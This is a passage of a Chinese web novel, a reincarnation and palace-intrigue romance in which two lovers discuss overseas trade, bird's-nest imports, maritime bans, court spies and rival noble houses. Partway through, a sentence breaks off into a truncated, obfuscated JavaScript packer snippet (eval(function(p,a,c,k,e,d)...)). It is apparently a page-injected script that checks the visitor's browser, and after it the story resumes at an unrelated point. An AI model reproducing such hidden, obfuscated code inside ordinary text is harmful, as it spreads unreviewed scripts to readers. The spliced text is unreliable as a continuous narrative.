“嗯,我和嬴天漾合作多又何必算得那么麻烦?”晏霁之贪恋得抱紧苦思冥想的女人,逼仄的灶膛前滋生出种又纯粹又暧昧的氛围,霍灵渠抚抚他的脸颊,他多爱洁净啊,没事哪会往灶前钻,她总觉得他心思重:“霁之,你在害怕什么呢?” 害怕什么呢?晏霁之猛然阵心酸,扬唇笑笑掩饰:“在南洋这片海域,商船大多在三个月内都能往返趟;若是去往波斯和大食国,商队往返趟至少要一年,太远了。 在柔佛和三佛齐之间还有道狭长海峡甚是凶险,波斯和大食国更像包藏侵略,何必只因天竺就冒大险再向西行,故而我限定商船出海只在南洋做生意。” “包藏侵略?”霍灵渠喃喃念遍,莫名有感:“立国百年,前四十年有三十年都在打仗,太宗皇帝打得邻邦臣服,可才安生几年;肃宗皇帝在位时和高丽打、和倭国打,和吐蕃打,终于再将邻邦降服又才安稳几年?而今都是两线作战,同时跟契丹和交趾国打仗。 波斯和大食国遥远得像远在天外都能包藏侵略,是否该庆幸两国间相隔着万万里;我们和天竺隔着吐蕃,否则都不可能这样安宁吧?中原地大物博,自古遭邻邦窥视觊觎。” “可真会操心。”晏霁之捏捏她的下巴,不满冷哼:“刚做贵妃就往国母的位置摆了。” 霍灵渠瞪他,回击得软软的:“安排两家商号还不够,又和嬴天漾合作往骠国做生意又你们俩憋坏抢交趾国的国库,这么急吼吼得是有豺狼虎豹在追赶你吗?” 晏霁之嘴硬:“你个小财迷你不爱财吗?想挣银两而已,何急之有?” “前世英王府被抄家夺爵,今生若不能改变家族这场命运,你能不想尽量多安排退路吗?你甚至都要担心老皇帝会想将晏家赶尽杀绝,你如何能不急?”霍灵渠好似能看进他心里:“没准儿你让嬴天漾占便宜都有想攒人情的用意,毕竟雇佣护卫不贵的。” “你呀!”晏霁之认栽般笑起来,眼底的柔情既似拿你没办法的无奈又像是宠溺,可若细品竟能发现他隐约还藏着苦涩不得诉、以为只能自己吞咽却突然得到理解的委屈和心酸,霍灵渠凝视他都像能感到难受,在这一刻莫名想贴近他,然后就被他提醒烧火。 灶膛里重新燃起明亮炽烈的火势犹似把在灶前相拥的男女照得脸红了,晏霁之轻咳声,谈正事消消热:“我会有些急还在于朝廷将要海禁,我总不好辜负海禁前的宽松。” 霍灵渠随他翻篇,忆起是有海禁,可:“前世是授康30年海禁,授康35年解除海禁。对比今朝应在正徽二年海禁呀,今已是正徽五年,朝廷还会想要海禁吗?” “当然!”晏霁之毫不犹豫:“我朝在惠宗皇帝时始与海外国家通商,没几年,海盗肆虐搅得过往商船和沿海州府苦不堪言,肃宗皇帝登基第二年即海禁,更是与倭国苦战近八年才彻底解决海盗祸害,重新开放海外商贸往来是在三十六年前。 然而自授康十五年起沿海走私逐渐猖獗,十多年,沿海走私已成国之蠹虫;不会久拖,两三年内朝堂必将海禁整饬,否则拖越久只会牵涉越深乃至危及社稷稳固。” “能有那么严重吗?”霍灵渠惊讶:“沿海走私都能危及国家安稳吗?” “牵涉深,商贾敢走私自是有官家庇护。”晏霁之声音渐轻而眼底渐深邃:“当暴利腐蚀掉多数人的良知,这些人为保持既得利益会做出什么事是不可估量的。” 霍灵渠恍悟:“哦,积久弊生、沉疴宿疾如是也,小害若不及时根除则有积重难返之危。”她扯扯男人突然很感慨:“古人曰:不以善小而不为,不以恶小而为之,真有道理啊。” “是!”晏霁之骤然乐开怀,深邃全消,宠溺地捏捏她脸:“还有感悟吗?” “嗯,燕窝是产自暹罗和柔佛吧,燕窝在我朝盛行五六十年,举国多少富太太和官眷们每日都要喝碗燕窝,记得前世海禁时还都特意放行燕窝了。”霍灵渠给他喂颗糖,嘟囔道:“若禁燕窝,全国都得怨声四起吧,他国产出的补品反倒成为我国最喜欢的。” “燕窝是,香料是,佛教又何尝不是?”晏霁之神色淡淡,下瞬即制住深思,闲侃道:“八十年前,交趾和暹罗进贡,国人始知燕窝。番商拿燕窝在边境做生意,燕窝才在民间盛行,逐渐取代银耳成为滋补首选,而今举国一年要吃掉十五万斤燕窝。” 霍灵渠拿火钳往灶膛里塞些木柴,闷声道:“八十年前,交趾国还来进贡,哪想没几年就撕破脸进犯,再把他们打消停,没二十年又反复,现在都是三回了。” 晏霁之失笑:“我们和塞外的邻邦都打上千年了,交趾国这点反复算哪跟哪儿啊。” 霍灵渠看他眼,自己吃颗糖再给他喂颗椰蓉糖,尝着甜味把闷气抛掉:“我们国人一年要吃掉十五万斤燕窝啊,倘若按一人每月用二两燕窝来推算,一年需要两斤半,那么举国应有六万人吃燕窝?呃,这样算,好像也不算多哦。” “富贵之家一人一月用二两燕窝哪够,举国最多五万人吃燕窝,这人数看起来是不多,比照燕窝的产量就真算多了。”晏霁之告诉她:“暹罗的燕窝产量约三万斤,柔佛约五万斤,他们最多售出给我国七万斤;我朝和交趾在打仗,交趾国的燕窝就切断了。 况且交趾国每年的燕窝产量不足万斤,没切断也就能售出四五千斤。是浡泥、爪哇国、三佛齐等国的燕窝流入才供得起我国那么多人享用燕窝,这几个海岛国家合计燕窝年产量大概十万斤,整个南洋的燕窝不足二十万斤,十五万斤流入我国,不多吗?” “多!”霍灵渠感叹:“一两燕窝十两白银起,一斤燕窝至少百两,十五万斤就是?天爷啊番商赚得要吓死人了,难怪我祖父要骂,不就是燕子筑的窝嘛也值得那样死贵。” “物以稀为贵嘛。”晏霁之理解,霍灵渠哀怨:“我朝就没地儿产燕窝吗?” “有啊,在广南和福建沿海有金丝燕栖息,有产燕窝,这两地燕窝产量合计几百斤。”晏霁之乐着捏捏她逗笑,霍灵渠真想拍掉他的手,哼道:“几百斤,你还不如不告诉我呢,我都有点诧异了,单燕窝,我们就要被番商赚走那么多银钱,何况其他? 和海外国家通商真的是我们赚得多吗,你做海外生意一年能赚到多少呀?” “自然是当中利甚大,否则太上皇早就海禁了,你不用怀疑的。”晏霁之答,霍灵渠往灶膛里塞些木柴,睨他重申:“多大利呀,你做海外生意一年赚到多少呀?” “你要问这么清楚是肯给我做妻子吗?”晏霁之忽然语气有些冲,也不知道是跟谁生气或者就是在跟自己生气:“你肯不回皇宫了跟我远走天涯吗?” 霍灵渠转过头,手托腮,专注看灶膛里的火苗。 晏霁之不得劲:“生气了?” “没有呀。”霍灵渠就是有丝很轻微的涩,晏霁之不信,霍灵渠亲亲他脸颊,展笑道:“我真没生气,我还想问你呢,大海茫茫何其凶险,你怎么会想出海?” 晏霁之随她翻篇,抬手划过眷恋的眉眼,浅浅悲情在不经意间流淌:“前世你走后我怪孤单的,走遍大江南北看多少风景都只有寂寞相随。当时逢生母病逝,朝堂腥风血雨不休,我闷得慌,干脆出南海看看新鲜风景,也能开拓眼界。” 霍灵渠自是能感受到这伤情,给他喂颗椰蓉糖,故作嫣然笑:“异国风情是怎样的呀,我只有童年还在霍家时和还做流光姨娘时偶尔有过那么点耳闻,知道有倭国有暹罗有天竺有波斯有大食国,我还从来没有听过远渡重洋的人描绘呢。” 晏霁之配合她打趣:“你个小东西,亏得我当时没带着你,不然你都要乐不思蜀了。” “瞎说,我看是你自己对异国风情流连忘返,不然今生你能又想着带我出南海玩吗?”霍灵渠还真有点新鲜感:“嗳,你出国最大的感悟是什么,你有学会外国话吗?” “最大的感悟啊?”晏霁之很实在:“我们国家应该是世间人口最多的国家。” “哦~~”霍灵渠恍悟念念:“我们有五千多万人呢,对吗?” “嗯,契丹号称有雄狮百万,全国人数也只在七八百万,吐蕃和交趾国约有五百万人,暹罗和高丽有四百万人,柔佛不足二百万人,爪哇国等岛国居民更少。” 晏霁之应道:“天竺国有三千万人,波斯和大食国皆有上千万人,虽然我没再往西行、未曾见识到世间所有国家,但我猜我们应该是世间人口最多的国家。” “你连大食国那么遥远的地方都去过吗?”霍灵渠微惊:“前世你出海多久呀?” “21个月,前世我在授康三十七年冬月出南海,行经苏禄、浡泥、柔佛等国,远渡至天竺、波斯、大食国,在西洋游历21个月,于授康三十九年秋回国。” “那么久?”霍灵渠不自觉蹙眉:“你就不怕吗,你当时带多少人出南海呀?” “傻瓜,我既想出海怎会不筹备稳妥?”晏霁之温柔笑:“我预想是在西洋游历两年,带晏家五百名死士,向护国公借五百人,向嬴天漾借一千人,合计两千人。” 霍灵渠抚抚他的脸颊,眼中刚酝出点她自己都辨不清的感触又被提醒烧火。她默默拿起火钳往灶膛里塞木柴,把椰蓉糖递给他,手托腮凝视灶膛准备专注烧火。 晏霁之握紧油纸包,闭眼拥紧怀里的女人,以从未有过的好像他在依附她的姿态拥紧,霍灵渠忍不住难受,握握他的手。彼此默契得都不再说话,任由安静流淌。 锅中热水滚沸,晏霁之提两桶热水离开厨房,走前既没再多言更没把红豆泡上,至于他戏谑的洗鸳鸯浴?俩人心照不宣,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不划算嘛。”晏霁之一本正经:“毕竟我一年最多只看十回歌舞。” 霍灵渠嫌他这装腔的德行,伸手拍他下,晏霁之顺势握住美人的柔荑把玩,告诉她:“还记得我曾和你说起过,少年慕艾,我姑母进宫前有心悦之人吗?我猜到那位是谁了。” “谁呀?”霍灵渠愣了愣仰头看他,红唇微启的诱人模样叫晏霁之好险才忍住只拿指腹点点她娇嫩的红唇:“你母亲的哥哥,蜀王那位被钦封为国舅的舅舅。” “蜀王的舅舅、我母亲的哥哥?”霍灵渠对这份关系有点懵:“你没瞎猜吧?” “我是在贵妃册封典礼的宫宴上猜出来的,你大伯穆国公曾提过句,这位国舅爷和晏家甚有交情而且就是在授康九年辞世。”晏霁之剖析道:“还有你,我姑母疼爱你如亲女,这是我做此猜想最重要的疑点,试想我姑母真会只因眼缘就百般疼爱你吗?” 霍灵渠反复思量,好像都不能反驳:“我们和蜀王竟然还能有这般牵扯?” 晏霁之赞同:“真有缘,上一辈的纠葛错综曲折果然只有我们想不到而没有不可能。” “授康九年?我母亲也是授康九年辞世,你不是还猜过姬国舅的死与他的家族有关?”霍灵渠蹙眉,总觉得没那么简单:“我刚满五个月,爹爹抱着在襁褓中的我离家找母亲,时隔一年带回的却是母亲身故的消息;若非还带着我,我爹悲痛得都回不了家了。 你不觉得奇怪吗?蜀王就像个谜团,授康九年,蜀王外祖家又发生过什么事,国师为何说我爹得封兴献侯与我母亲有关系,有没有可能我母亲和她兄长是同时辞世的?” “或许真有可能。”晏霁之此前未深想,此刻忽如有被点醒般惊觉:“授康九年,蜀王的外祖家遭难致使姬国舅兄妹双双亡故,你爹当时在场,那么圣人赐封侯爵?” “是安抚更是警告霍家保守秘密?”霍灵渠震惊:“是太上皇想害蜀王的外祖家?” “应该不会,否则他怎会留国师常伴左右?”话音未尽,晏霁之即意识到症结,老皇帝留国师在身边是想长生啊,这人选绝对严谨,可国师竟然是蜀王的亲舅,那么当年的宝物还能和蜀王外祖家没点渊源吗?而最终用宝物追溯光阴却是靠霍灵渠…… 晏霁之越想越觉得她的身世经不起推敲,暂且打住思虑,哄她扯开话题:“也可能只是我们胡猜,好了,莫瞎想,你不是问我会不会外国话吗,想不想学两句?” “你还真会外国话呀。”霍灵渠看看他,语调沉闷:“我祖父说金元宝能治百病,若心思苦闷想想金元宝就能好,你还是和我说说你挣银两的情况吧。” “你个小财迷!”晏霁之被逗乐道:“你祖父个老财迷真是想不教出个小财迷来都难。” “我爱财,我又不贪财,爱财何错之有?世间谁能离开钱财,会爱财再正常不过了。”霍灵渠蔫蔫儿的提不起劲:“就说椰蓉糖吧,你只卖椰蓉糖就能有多少赚头?” 晏霁之神奇了:“你怎么知道,我从来没给你过任何我做椰蓉糖生意的讯息吧?” 霍灵渠答:“前两年,你初给我带椰蓉糖时说这椰蓉糖是广南那边的,产量不多,只能保证江南淮南等地有足够的供应而在京畿不容易买到。既如此,你给宠妾捎椰蓉糖还能算你宠爱妾室,这山庄里都有难道算你体恤老仆吗?当然是就是你在做椰蓉糖生意。” 真是要败给她了,晏霁之诚挚表示:“我觉得我在你面前都快无所遁形了。” “你谬赞,我愧不敢当,我就没看懂你有没有做珍珠生意?”霍灵渠疑惑:“倘若你在做珍珠生意,你不拿珍珠当铜钱玩也会常给我添珍珠饰品,但是你没有,这应该是你没做珍珠生意;但海岛国家盛产珍珠,你在南洋做生意没理由撇掉珍珠吧?” “只因我没有经常给你送珍珠就能代表我没做珍珠生意吗?”她哪来的自信啊? “对啊。”霍灵渠理所当然道:“倘若你在做珍珠生意,我们的生活里肯定很多珍珠,你会时常给我匣珍珠还会闹着让我戴给你看,你没这么做就不是在做珍珠生意嘛。” 晏霁之懂了,就是他自己给这女人养出来的自信:“对,你猜对了,我没做珍珠生意。” “几人经得起财宝的诱惑?”晏霁之带点教导意味告诉她:“我没有亲自出面,谁能保证他们面对大量珠宝能守住,若做珍珠生意,我怎么知道会被贪墨掉多少?” “哦,难怪呢。”霍灵渠溢出笑意,又讶然:“你前年得到颗很不错的黑珍珠?” “是偶然得到,不是做珍珠生意得到的。”晏霁之桃花眼映笑,高兴于他只提过一次,她都还记得。霍灵渠甜甜应哦,刚才的萎蔫儿消散,不长记性地问:“哎,那你做海外生意什么最有赚头呀,若是得顾及着被贪墨,你是做木材和吃食生意吗?” “货物真有价吗?” 没再排斥回应,晏霁之语调轻忽偏似有股举重若轻的意味:“譬如燕窝,对契丹,恐怕按一两燕窝一两银的价都没什么契丹人会想买;对庄稼汉,白送,他们可能都要嫌燕窝吃不饱连糙米饭都不如,燕窝的价值岂还有不因人而异之理?” 霍灵渠叹惜声感慨:“很多事物都是因人而异的,祖父就教我,路边的野花和名贵的姚黄牡丹有何区别呢,一幅字画又凭什么喊出百金千金的高价? 就是有没有人追捧,若是人人追捧,野花也能被捧到天价;没人追捧,卖出千金的牡丹转眼间就会一文不值。祖父教我若是喜欢风雅,玩玩即可,没必要费心神。” “老人家当真智慧通透,我也是醒来以后方才慢慢领悟许多前世未曾想明白的道理。”晏霁之喟叹:“前世,出趟南海,让我早几年懂得了货物流通对商贸的重要,而货物本身是没有价的,因人的需求才赋予其价值,货物的价值自是因人而定。” 霍灵渠眨眨眼,对他意有所指的影射有点激灵:“你的酸菜酱菜怎么卖的呀?” 晏霁之捏捏她水嫩的脸蛋,满含笑意道:“商船满载货物出海,又将会满载货物而归,再用金银岂不麻烦?我提供的货物能换对方多少货,谈妥以后以物换物多便捷。” 霍灵渠佩服道:“我们这里一两燕窝可是能换一屋白菜。” “想多了,人家不傻。”晏霁之笑道:“我做海外生意,海岛最有赚头,南海上有着数以千计的海岛且以荒岛居多,我的死士占个一两座荒岛不就很赚了?” “海外荒岛?”霍灵渠触电般福灵心至:“这是你谋划的其中一条退路吗?” 晏霁之笑着抚抚她的秀发,说:“给我倒杯茶水来,有点渴了。” 霍灵渠嗯了声,推开他站起来,走到桌前倒杯茶,一杯茶饮尽再倒两杯,端起茶水走回床前递杯茶给他,好心劝诫:“我觉得你这些生意还是悠着点儿好,毕竟你爹娘还不知道,若是动静闹得太大被你爹娘知晓,你爹没什么,你娘能吗?” “好好好,我悠着点儿。”晏霁之弯弯眼笑,茶水饮尽把茶杯递给她,这德行很正常,霍灵渠接过后把两只空茶杯放回桌上,她再走回床榻前铺被窝准备安置。 屋里烛火渐暗,朦胧的光影依稀还有残存的温暖,静静温柔着黑夜游走的痕迹。 81. 第81章 清晨,阳光比葱嫩欲滴的水绿清新,山庄洋溢寻常人家的烟火气息。 晏霁之在厨房烧热水备早膳,霍灵渠荆钗布衣,给家禽喂食,捡走还热乎的鸡蛋鸭蛋,又把他们昨天换下的衣裳洗净,忙碌的清晨里透着怡然。 早膳是他们昨夜定好的红豆粥和煎包、奶黄包以及配粥喝的小菜。 俩人用过早膳,霍灵渠收拾碗筷洗涮洁净,和面做枣泥糕玫瑰糕,又翻出核桃来做琥珀核桃再备份炙肉做零嘴,他们打算往山里转转看风景,午膳就不回来了。 晏霁之提着酒壶倚靠廊柱,饮着酒凝视厨房里忙碌的身影,一壶酒饮尽,他捏捏眉心,放掉酒壶奔向灶前,没再多拿只矮凳而是就抱着霍灵渠坐。 “你喝多少酒呀?”霍灵渠捧他的脸叮嘱:“果酒也醉人的,彧伯不是养着两只羊嘛,等会儿我去挤些羊奶来煮煮,除掉膻腥味后你记得喝碗羊奶解解酒味儿。” “洗衣裳、喂家禽、洗涮碗筷、生火烧水做糕点,自卯时中到现在,一半个时辰,你还没歇过,当真没有怨吗?”晏霁之何尝想这般患得患失,可看着她辛苦忙碌,他心里的不安怎么都压抑不住:“你若觉得累,现在就告诉我,我即刻带你离开。” “我没有觉得累,我很自在。”霍灵渠真觉得他心慌:“霁之,你在怕什么呢?” 晏霁之沉默半响,把将女人紧拥住,霍灵渠叹息声握握他的手,专注烧火,把糕点蒸熟后提木桶向院后的羊棚走去,挤小半桶羊奶返回厨房,继续烧火煮羊奶。 日头悄然逼近隅中,除掉膻味只剩奶香的热羊奶也递到男人面前,晏霁之垂眸注视白瓷碗中奶白的热羊奶几息时间再接过饮尽,把空碗还给她。 霍灵渠拿走白瓷碗把连同刚煮奶的锅都洗净,再把枣泥糕、玫瑰糕、琥珀核桃、炙肉各用油纸包起来放进竹篮里,又把椰蓉糖、火折子、菜刀和一酒葫芦甜橘酒一葫芦凉茶水还有新鲜摘的樱桃和枇杷悉数放进竹篮,接着装葫芦羊奶,喊男人出门了。 晏霁之坐在厨房靠门边的竹椅里,如此农家的气息也未损他的风华,然他整个人落寞,落在霍灵渠眼里让她总有说不出的伤感。 男人闻言抬眼,接过竹篮搁在旁边,拉过她抱在怀里:“你先歇会儿,等下我拿个驱虫蚁的香包给你贴身带着,山里蛇虫多,若再遇着长虫可真得吓到你了。” “我觉得我现在胆小许多,莫说我带着桑柔回京途中,在北境时我也不怕蛇虫鼠蚁。”霍灵渠也知道原委:“我跟你以后你把我娇养着,潜移默化中我就变胆小了。” “真不怨吗?在这山庄受苦受累。”晏霁之低头把玩她的柔荑又像是想躲避她的视线,霍灵渠叹息:“你也在过眼前的日子呀,你既能过,为何觉得我不能过?” 害怕呀,可骄傲叫他给不出答案,晏霁之苦笑:“灵渠,你想要什么?” 忽然间特别想倾诉,他自顾自道:“十岁的时候我心比天高,十六七岁时意气风发觉得世间没有我认定而做不到的事,二十四五岁时懵懂体会到责任和家族重担。 前世英王府被夺爵抄家时我二十八岁多将满二十九岁,我彷徨迷惘,找不到前路;前世三十岁的而立之年学会对功成名就释然,出南海看遍诸多风景,逐渐明白平凡亦可贵。今生始知放低姿态,傲骨不在于有多高的姿态,有高傲更该有尊重。” 霍灵渠轻抚他清减的俊脸,还没说话,晏霁之不由自主抱她拥吻,她自然而然回抱他,绵长的吻结束,她凝望他温柔笑:“此刻我只想在山庄这几天你能高兴。” 晏霁之抬手划过她柔情似水的眉眼,尽量压制自己的涩意:“好!” 山林郁葱,阳光射过葱茏繁茂的树缝将嫩得能掐出水来的嫩绿映照得近乎透明亦给这片深绿浅绿增添抹最亮眼的光彩,行走其间莫名心旷神怡。 霍灵渠瞧见不少野花,一时兴起,把竹篮塞给晏霁之拎,她边走边摘野花,没过会儿,她就捧有大捧红黄缤纷的野花,便给自己编个花环戴。 晏霁之被逗乐不少,牵住她的手,说:“七岁的时候姑母问我,霁儿喜欢灵渠妹妹吗,将来霁儿长大后娶灵渠做媳妇好不好?想猜猜我怎么答的吗?” 霍灵渠横他眼,学他的腔调冷哼:“丑丫头,哪能配得上风流倜傥俊美无双的我?” “哈哈哈……”晏霁之乐了:“童年我在你眼里的感观就这样傲娇吗?” “童年时,祖父还教我说你是女儿家心性呢,扭扭捏捏,哪怕你很愿意做的事都得哄着你显得你是勉强为之。”霍灵渠数落,晏霁之脸黑:“我收回昨夜对你祖父的夸赞。” 霍灵渠偷笑,抱着他的手臂跟他说件正事:“我想起来,爹爹跟我说,佟家和英王妃想利用你的婚事迫使你就范、逼你襄助佟二姑娘做淑妃,否则就要给你定钟氏女。” “我知道。”晏霁之神情淡淡:“王爷会让佟梦娴好好病场叫她没闲情理会娘家事。” “可哪怕王爷手伸得再长还能管到佟家和钟家所有人吗?”霍灵渠劝他还是警惕为好:“佟老太太既然有此打算又岂会善罢甘休,即使她和英王妃都病倒又如何,钟家照样能来人在京畿大肆宣扬,你的亲娘和外祖母拖着病体作证,对你岂不更糟?” 晏霁之神情微变,拎竹篮的手握紧:“你考虑的有道理。” 霍灵渠怀抱住他靠他怀里,思量道:“前世就是授康33年,圣人赐婚将佟二姑娘指婚给代王的嫡幼子,要么我回皇宫后向皇帝求道赐婚圣旨?” “再凑两对怨偶,何必呢?我这个表哥怎好这样毁表妹的姻缘。”晏霁之抬手抚抚美人耳畔的鬓发又低头亲亲她,霍灵渠诧异:“两对怨偶?” “哦对,此事你不知。”晏霁之解说道:“房家曾为房祯毅上佟家求亲,佟妙兮嫁进代王府后遭丈夫冷落,房祯毅甚痴情,常对佟妙兮嘘寒问暖。” “佟二姑娘才貌俱佳,前世因何故被丈夫冷落呀?”霍灵渠疑惑,晏霁之哼笑声:“嬴隐鹤喜欢他嫡长兄嬴隐峥的继室,前世叔嫂俩都弄出个儿子来栽给嬴隐峥。” 霍灵渠呆滞下,默默掩唇:“你没查错?” 晏霁之表示:“前世授康三十五年,我暗中令代王世子嬴隐峥绝育了。” 霍灵渠:“……”她冷静几息时间问:“前世英王府被夺爵抄家有代王府的手笔?” “当然,代王府和佟家可没少狼狈为奸妄图踩着我晏家往上爬,况且当时嬴隐峥已经有好些儿女,我自觉我很厚道了。哪想,授康三十六年,竟然传出代王世子妃有孕,嬴隐峥还在那屁颠屁颠傻乐,我岂能不把他喜当爹的好消息传给他。” 晏霁之再吻吻美人,饶有兴味道:“可巧,前世那位代王世子妃就是今生的倪芳华。” 霍灵渠惊讶:“宫里的倪芳华?皇帝晓得前世代王府这事?” “前世授康三十九年,代王府这桩丑闻尽人皆知,嬴忱璧岂能不知,只是,眼线曾报,庄太妃知晓嬴隐鹤喜欢倪芳华,按理她不应该知道啊。”晏霁之琢磨:“除非,要么,前世她在死前就已经探知;要么,今生是嬴忱璧暗中传给她知晓。” 霍灵渠奇怪:“皇帝作甚想把代王嫡幼子喜欢倪芳华的事传给庄太妃知晓?” 晏霁之含笑捏捏她的俏脸蛋,道:“叔嫂私通,更不提混淆丈夫血脉,倪芳华前世能做得出这等事,皇帝能不忌讳吗?让庄太妃知晓,无疑就是想借借庄太妃的手来试她,倘若倪芳华守不住和嬴隐鹤有点首尾,皇帝必定送她上路。” 霍灵渠叹气:“皇帝既有忌讳,何必选倪芳华充盈后宫?” 晏霁之好意说明:“又不是皇帝选的,正徽二年霍太后在菊花宴上挑出六名秀女入宫,皇帝能没头没脑的和太后说划掉倪芳华吗?况且倪芳华自己选的路。 前世她可是在授康三十年春就嫁给代王世子做继室,对比今朝应在正徽二年春,既然她能拖到正徽二年秋参加宫中的菊花宴还能有本事让霍太后选中她,摆明想搏前程。” 皇宫?!霍灵渠想想就觉沉郁,从竹篮里拿两只葫芦,一只葫芦递给男人,晏霁之放下竹篮喝到口羊奶,恭维她:“你自己喝酒,给我喝羊奶,你真有领悟。” “我随手给的,我哪知道葫芦里装的是果酒羊奶还是茶水。”霍灵渠把酒葫芦递给他:“你若不嫌被我喝过就换换,你嫌弃那就没办法了,你喝剩下那葫芦的凉茶吧。” 晏霁之没好气瞪她,换过葫芦,喝两口果酒把葫芦放回竹篮,搂着她往前走。 “话说回来,皇宫里对羊奶都有限定,贵妃月例,羊乳每月三十二罐,正八品月例一罐羊乳,末九品一罐都没的,想喝得自己掏钱买。童年时我都不晓得,今朝再进皇宫才知道,原来宫里嫔妃们连每月多少蜜饯和鲜果都有定例。” 霍灵渠想到就说说,晏霁之回复:“霍家和英王府也有定例,举国大多数人家都有定例,你童年在家时是霍家掌珠,你在英王府的用度是走我的私账,你没感受过而已。” 因娇养而没感受过用度束缚的女人睨睨他,小声嘟囔:“在姑苏,魏王照顾我和桑柔时还有我们姐妹在北境时我也没感受过,我真以为像零嘴果子这些是随意的。” 晏霁之斜她眼,心里腹诽这女人四处惹桃花,表面装得平淡:“既谈到魏王和庄太妃,有件事我想还是告诉你吧,也好让你向你主公邀邀功,任逍是庄太妃的细作。” 啥?霍灵渠惊得拉住他站定:“怎么会,任逍可是魏王的亲表妹。” “前世有过任逍这回事儿吗?你这位主公也够心大的,身边出这么大变故竟都不彻查,不过倒也合他作风。”晏霁之轻佻扬眉,食指指腹抬抬女人的下巴像极调戏模样:“正如,在英王府时你夜夜陪我颠鸾倒凤,他居然能以为你和我之间清白。 把埋在晏家的暗桩陆续撤走只留一名眼线在前院做策应,他就那么确信不会有变故吗?哪怕是前世,只因为在英王府的六年,我都没有碰你,他就认定我带你住到城郊的竹屋之后我仍然不会碰你,谁给他的理所当然?” “六年还不够吗?当然是你给的呀。” 霍灵渠拉过他的食指,觑觑他,心里挺想哼哼的,尽量压抑住装得淡然:“他觉得你真道貌岸然但也不得不承认你对玉藏珠够痴情。 前世你要和我行周公之礼时我也很惊讶,你告诉我,你和玉藏珠的真相时我更惊讶得无语凝噎,我觉得你把真实情况告诉我二哥,我二哥都想打你的。况且,你居然能主动避孕,我都没向魏王要过避子药,你指望他能如何想?” 晏霁之戳穿她:“心里在骂我吧,瞧你这小样儿,我会看不出来你在心里哼哼。” 霍灵渠静默两瞬后回归正题:“霁之,任逍是庄太妃的细作,你真能确定吗?” “呵呵,你装没事人的本事很快就能修炼到不要脸的境界了。”晏霁之衷心评价抵御,奈何霍灵渠怀抱着他撒娇闹得他的防线只能溃败:“前世任逍屈服了,今生以逃婚的名义来投奔魏王表哥,岂会无缘无故?我怀疑有诡异就帮你主公查了。 最终查出庄太妃,应是因前世有过任逍抗婚、宁可给魏王做侧妃之故被庄太妃盯上了。前世,魏王不要这个表妹,任逍只能嫁人;今生,显而易见,是庄太妃帮任逍逃婚再把她送给魏王,可庄太妃的人情能那么好拿吗,任逍唯有做细作的份儿。” 霍灵渠绝美的容颜微染沉郁,晏霁之调侃:“魏王打算何时纳这表妹啊,任逍逃婚离家又在表哥家中住两年多,早已没有清白名声可言,不给魏王做侧妃还能有什么好出路,任家妥协了把任逍留在京畿更是此意,魏王作甚还拖着?” “抗婚、逃婚,这位表妹岂是安分人,我都拒绝了还想强赖给我是拿我当面人捏吗?既然任逍自己和任家都不在意任逍后半生好坏,我又何必操心;想住就住吧,做表姑娘在魏王府赖到老死都随她。”霍灵渠垂眸道:“魏王原话。” “魏王这点还是很爷儿们的。”晏霁之坏笑:“可魏王就不怕这表妹想失身给他吗?” 霍灵渠猛地似有滴水滴在眉心而微微受惊般抬眸:“任逍能至于如此吗?” 晏霁之反问:“抗婚、逃婚,她没想死攀着魏王难道是出来游玩吗?” 霍灵渠皱眉:“任逍自视高,不像能做出把自己强赖给表哥的事吧?” 晏霁之抬手抚抚她蹙起的黛眉,摆个现实:“任家来接接走了吗,魏王想赶赶走了吗,强赖在表哥家中与把自己强赖给表哥有本质差别吗,能逃婚死赖在表哥家中还会要脸吗?我说魏王若是做不到宁可与舅舅撕破脸都不要这位表妹,保管拿她没辙。” “魏王若是警惕,避开与她单独相处,应该能防住吧。”话说得那么透彻,霍灵渠也没什么不愿意相信,晏霁之失笑:“傻瓜,只有千日做贼,哪有千日防贼?” 霍灵渠瞬间烦躁不舒服,晏霁之一眼就瞧出她烦闷的根由,会心笑:“真是比狗皮膏药比血蛭还讨厌是吧,但更恶心的还在后头,想知道吗?” 迎上女人的疑惑,晏霁之莞尔笑,意味深长的笑仿佛真像有什么高兴事:“魏王若是能豁得出,即使表妹把清白强赖给他他都坚决不要这表妹,任逍定将恨他入骨,此后必将如鬼魅般死缠着魏王要报复,是不是很恶心很好笑?” “报复?”霍灵渠俏脸迟疑难看,晏霁之坦荡荡:“明火执仗逃婚把自己死赖给表兄的人该是何种品性,摆明了我想赖给你而你不能拒绝,否则便是你狠辣你对不住我,要多无耻有多无耻要多恶心有多恶心,和这种人还能讲得明白说是你自作孽吗?” “有道理。”霍灵渠深思过后打消疑虑,考量道:“你觉得,任逍做细作会冲着什么?说是女谋士,其实魏王看这表妹就是当小孩在耍玩,庄太妃对此应该清楚,那么她还用任逍就不该是打探消息而是另有所图,会是冲着兵符吗?” “兵符?”晏霁之讶异扬眉:“你知道兵符?”他原以为她不可能知道,看来是他低估魏王对她的看重了:“这么说你清楚魏王是否找到这枚兵符了?” 闻言,霍灵渠狐疑防备他,晏霁之面无表情告诫:“不要拿这种防贼似的眼神看我,我只是看不懂魏王对此事的做派而已,魏王对找兵符像浑不在意,那么他该找到了,可他若是已经找到兵符怎会毫无动静,我还真不相信魏王能这么沉得住气。” 老皇帝的长子、长女和第四子魏王皆是原配任皇后所生,第二子、第三女和第七子晋王以及两岁早夭存疑的六公主则都是庄太妃所生。授康十六年任皇后薨逝,自授康十八年起,废楚王即老皇帝的第二子与是为储君的嫡长兄争斗得愈发激烈。 授康二十二年的端午,悼太子率河间军围困皇城,所有事前收到风声的人都以为他是想逼宫,授康帝也已派遣第二子楚王调来军队准备随时里应外合。哪想,悼太子不动兵戈只率百名将士进皇城朝见父皇,举报楚王谋反,拿他储君的命作证楚王谋逆。 太极殿中百官尽在,那时还是霍皇后的霍太后和那时还是庄淑妃的庄太妃也闻讯赶到,连同授康帝在内,谁都不曾想到,他这位皇太子居然当真举剑自刎;这场看似楚王将要瓮中捉鳖的戏实则是悼太子黄雀在后:用他自己的命做筹码换取钉死楚王。 